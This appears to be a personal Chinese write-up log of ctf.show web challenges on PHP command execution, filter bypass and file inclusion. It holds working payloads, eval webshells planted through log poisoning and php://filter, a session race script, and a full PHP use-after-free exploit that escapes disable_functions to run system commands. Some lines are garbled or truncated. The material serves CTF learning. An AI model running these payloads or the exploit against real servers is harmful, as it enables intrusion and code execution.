ID | 开始时间 | 结束时间 | 刷题范围 |
---|---|---|---|
1 | 2021.08.23 19:20 | 2021.08.23 21.30 | web41-45 |
2 | 2021.08.24 22:16 | 2021.08.25 0:04 | web46-54 |
3 | 2021.08.25 17:06(上班划水) | 2021.08.25 18:00 | web55-web58 |
4 | 2021.08.25 20:26 | 2021.08.25 22:39 | web59-web72 |
5 | 2021.08.26 22:20 | 2021.08.26 23:25 | web72-web77 web118-119 |
6 | 2021.08.30 20:21 | 2021.08.30 22:52 | web120-122web124 |
7 | 2021.08.31 22:35 | 2021.08.31 | web78-web80 |
8 | 2021.09.01 21:12 | 2021.09.02 0:05 | web81-web87 |
9 | 2021.09.02 20:42 | 2021.09.02 22:26 | web88-90,web116-117 |
ID | 开始时间 | 结束时间 | 刷题范围 |
---|---|---|---|
10 | 2021.09.05 12:20 | 2021.09.05 12:40 | web91-web94 |
11 | 2021.09.07 13:57 | 2021.09.07 18:30 | web95-web100 |
12 | 2021.09.14 18:10 | 2021.09.14 18:30 | web100 |
13 | 2021.09.15 14:00 | 2021.09.15 18:30 | web101-web115 |
14 | 2021.09.16 10:32 | 2021.09.16 18:30 | web123-web136 |
15 | 2021.09.22 15:43 | 2021.09.22 16:00 | web137 |
16 | 2021.09.23 14:30 | 2021.09.23 16:00 | web138-web140 |
17 | 2021.09.24 8:53 | 2021.09.24 9:00 | web141 |
18 | 2021.09.29 16:55 | 2021.09.29 17:00 | web142 |
ID | 开始时间 | 结束时间 | 刷题范围 |
---|---|---|---|
19 | 2021.09.30 19:06 | 2021.09.30 19:07 | web143 |
20 | 2021.10.07 23:13 | 2021.10.08 0:27 | web144-web150plus |
略
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: [email protected]
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
考点
通过或运算,来将两个字符拼接为字母,进行命令执行,比如url编码过后的(40%|01%),运算结果为A,进而进行命令执行
解题脚本
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py ' )
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
代码
/dev/null 2>&1");
}else{
highlight_file(__FILE__);
考点
群主说的是,>/dev/null是个黑洞,前面执行的命令的结果会写入黑洞里,就没办法回显,2>&1是绑定输出,一共有三种文件描述符,标准输入3、标准输出1、错误输出2,这里就是将错误输出绑定到标准输出 ,也就是这个环境无论执行什么命令都不会输出,但是这个可以用;绕过,这样就执行的命令就不属于这个命令了,可以输出
此外还学到了一点,比如正常的payload可以是?c=cat flag;这个时候需要查看源代码才能看到,但是用tac就可以直接看到,因为tac是反着读,会破坏php的注释,学到了嘿嘿
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
同上题一样,这次过滤了;群主说是用&&绕过?c=tac flag.php%26%26ls
,但是突然想到,其实那个限制只是回显,可以把文件复制一下,然后直接访问复制的文件就可以拿到flag,比如?c= mv flag.php 1.txt
然后直接访问1.txt就能直接拿到flag
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了flag,这个直接通配符*或者占位符?就可以绕过?c=tac f*.php%26%26ls
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了空格,用制表符绕过``
代码
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这次又多过滤了数字,以及通配符*,但是那个编码过后的制表符%09解码后不是数字,所以没有影响,过滤了*可以用?代替,?只能占一位,*是任意位?c=tac%09fla?.php%26%26lls
此处题目的hint交了新的方法,用nl命令将指定的文件添加行号标注后写到标准输出,也就是还可以这样绕过?c=nl
代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了更多的读取命令,没有过滤tac,不影响
代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了更多的命令不影响
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤更多不影响
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了%09与%26,之前的nl命令还可以搞
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
继续用之前payload
代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里 没 有 被 过 滤 , 然 后 之 前 的 p a y l o a d 发 现 假 的 f l a g , 然 后 用 没有被过滤,然后之前的payload发现假的flag,然后用 没有被过滤,然后之前的payload发现假的flag,然后用{IFS}作为分隔符,读取根目录的flagnl$IFS/fla''g||
代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
echo($c);
$d = system($c);
echo "
".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
有了回显,但是执行方式和之前不一样了,payload:?c=ta''c${IFS}fla?.php
代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
代码过滤了很多,hint非常狠,全用通配符搞?c=/bin/?at${IFS}f???????
,除了这个直接复制就行
代码
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这次更狠一些?c=/???/????64 ????.???
,就是利用通配符,匹配到这样的命令/bin/base64 flag.php
代码
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
题目更狠了一点
这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?
进行匹配,即???/?????????
,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?
在ascii码表中观察发现在大写字母A的前一个符号为@
,大写字母Z的后一个字母为[
,因此我们可以使用[@-[]
来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[]
,到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file
来执行文件
解题脚本
import requests
while True:
url = "http://80ce7c79-ce3b-409b-89bd-6be7043fb4a6.challenge.ctf.show:8080/?c=. /???/????????[@-[]"
r = requests.post(url, files={
"file": ("dota.txt", "cat flag.php")})
flag = r.text.split('ctfshow')
if len(flag) >1:
print(r.text)
break
代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: [email protected]
# @link: https://ctfer.com
*/
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
这题不仅过滤了字母数字,还把通配符都给过滤了。查了一下资料,发现在shell中可以利用$
和()
进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可
$(())
代表做一次运算,因为里面为空,也表示值为0
$((~$(())))
对0作取反运算,值为-1
$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1
如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
所以我们只要构造出-37,再进行取反,即可得到我们想要的数字36
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
代码
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
第一反应,蚁剑
看了hint,是考读取文件的,c=show_source("flag.php");
//一些命令
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
代码
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
代码都是一样的,其中应该是逐渐过滤掉了上面所列的一些函数,用show_source都可以看c=show_source("flag.php");
群主用过的方法
c=include('flag.php');echo $flag
c=include('flag.php');var_dump(get_defined_vars());
代码
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
看起来还是没变,这次把show_source禁了,用highlight_file,发现假的flag,群主用的命令c=var_dump(scandir(''));
找到了根目录有个flag.txt,然后直接c=highlight_file("/flag.txt");
c=include('/flag.php');
代码
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
这个是把输出缓冲区给替换掉了,群主的方法直接执行exit(),c=include('/flag.txt');exit();
代码同上
把scandir以某种方式限制了
用glob协议查找根目录中的文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){
echo($f->__toString()." ");};exit();
抄一些方法
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){
echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){
echo$f."\n";}
$a=glob("/*");foreach($a as $value){
echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){
echo($f->__toString()." ");}
群主给的exp
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) {
$leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) {
};
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现在flagc.txt,和flagx.txt直接include包含c=include("/flagc.txt");exit(0);
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();**exit**(0);}**exit**(0);
c=?>
?file=/var/log/nginx/access.log
同时post1=system('tac fl0g.php')
,先ls看下目录,然后再知道是fl0g.php的PHP
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
开始文件包含的题型了,这里使用php伪协议php://filter来构造paylaod
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
payload如下
CODE
?file=php://filter/convert.base64-encode/resource=flag.php
读取出来是base64,再拿去进行base64解码即可得到flag
PHP
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}
代码中把php替换成了???
,php伪协议大小写可以绕过,所以我们这里使用php://input伪协议,paylaod如下
CODE
?file=Php://input
post:
PHP
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}
这次多过滤了一个data,可以继续使用上题php:input协议,不过注意这次文件名字改了
所以payload为
CODE
?file=Php://input
post:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这次把:过滤了,不过不影响我们继续用上一题的日志包含
这次学到了=eval($_POST[a]);?> =>相当于
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
把.过滤了,那么日志包含的access.log用不了了
用只能用session包含
下面是php5.4之后php.ini开始有的几个默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name
将表示为session中的键名
第五个表示我们对Cookie中sessionID可控
写个脚本
import io
import requests
import threading
url = 'http://66a0ff8a-5ebd-4a08-835f-6df122b9f4eb.challenge.ctf.show:8080/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'hehei'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={
'PHPSESSID': 'flag'}, data=data, files={
'file': ('exp.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'hehei' in response.text:
print(response.text)
break
else:
print('retry')
if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这里先把session销毁了,但是还可以写,因为销毁和写存在时间的上的间隔,可能一个线程刚删完以为删掉了,但是另外一个线程在这个空隙又写了一个,所以上题的payload还是可以用
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
这次把tmp删了,还是和上一题一样,多线程竞争
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
这次如果file里面含有<,就会die,这个需要线程多一点,这样好竞争,同样payload
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这次是先定义了一个include路径,但是我们include的东西不被这个影响,继续用上面payload
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "".$content);
}else{
highlight_file(__FILE__);
}
题目这里,先是GET传入了一个file,然后POST传入了content,然后把与content写入了file
思路就是file里用filter然后写一个php文件,而且要经过一定的处理,使得无法被解析,然后content传入相应的处理过后的
这里?file=php://filter/write=convert.base64-decode/resource=1.php,然后对其二次url全编码,因为代码里urldecode了,传入服务器的时候会decode一次,这里再decode一次,所以是两次,然后得到payload?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30
这里content就写,然后base64decode,不过要注意,题目的那句waf也会被解码,因为base64是每8位解码的,而waf中base64中的字符有6个,所以要把base64加密后前面加两个字母,同时,这次是@eval,不然会因为前面的不规则字符导致执行失败,然后最后payload就是content=hhPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
然后访问1.php,POST传参就可以读flag了
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
这题没有过滤:,所以用data协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg
先ls看目录
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
然后 tac fl0g.php
进来就是一段视频的播放,也无法查看源代码,把js关了也没法看
然后用burp抓包,发送之后啥也没返回
